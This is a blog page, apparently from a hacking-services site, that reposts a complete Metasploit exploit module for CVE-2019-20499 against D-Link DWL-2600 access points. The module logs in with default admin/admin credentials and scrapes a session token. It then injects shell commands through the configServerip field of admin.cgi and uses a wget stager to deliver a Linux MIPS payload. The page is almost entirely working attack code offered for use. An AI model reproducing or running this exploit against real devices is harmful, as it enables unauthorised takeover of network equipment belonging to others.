Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863102036

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'DLINK DWL-2600 Authenticated Remote Command Injection',
      'Description' => %q{
          Some DLINK Access Points are vulnerable to an authenticated OS command injection.
          Default credentials for the web interface are admin/admin.
      },
      'Author'      =>
        [
          'RAKI BEN HAMOUDA', # Vulnerability discovery and original research
          'Nick Starke' # Metasploit Module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2019-20499' ],
          [ 'EDB', '46841' ]
        ],
      'DisclosureDate' => 'May 15 2019',
      'Privileged'     => true,
      'Platform'       => %w{ linux unix },
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars' => "\x00"
        },
      'CmdStagerFlavor' => :wget,
      'Targets'        =>
        [
          [ 'CMD',
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Linux mips Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
        OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ])
      ])
  end

  def execute_command(cmd, opts={})
    bogus = Rex::Text.rand_text_alpha(rand(10))

    post_data = Rex::MIME::Message.new
    post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"")
    post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"")
    post_data.add_part("; #{cmd} ;", nil, nil, "form-data; name=\"configServerip\"")

    print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'admin.cgi'),
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => "sessionHTTP=#{@token};",
      'data'   => post_data.to_s,
      'query'  => 'action=config_restore'
    })

    unless res || res.code != 200
      fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!")
    end

  rescue ::Rex::ConnectionError
    vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
    return
  end

  def exploit
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']
    rhost = datastore['RHOST']
    rport = datastore['RPORT']

    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, '/admin.cgi'),
      'method' => 'POST',
      'vars_post'   => {
        'i_username' => user,
        'i_password' => pass,
        'login'      => 'Logon'
      }
    })

    unless res && res.code != 404
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end

    unless [200, 301, 302].include?(res.code)
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end

    print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")

    delstart = 'var cookieValue = "'
    tokenoffset = res.body.index(delstart) + delstart.size
    endoffset = res.body.index('";', tokenoffset)
    @token = res.body[tokenoffset, endoffset - tokenoffset]

    if @token.empty?
      fail_with(Failure::NoAccess, "#{peer} - No Auth token received")
    end

    print_good("#{peer} - Received Auth token: #{@token}")
    if target.name =~ /CMD/
      unless datastore['CMD']
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
      end
      execute_command(payload.encoded)
    else
      execute_cmdstager(linemax: 100, noconcat: true)
    end
  end
end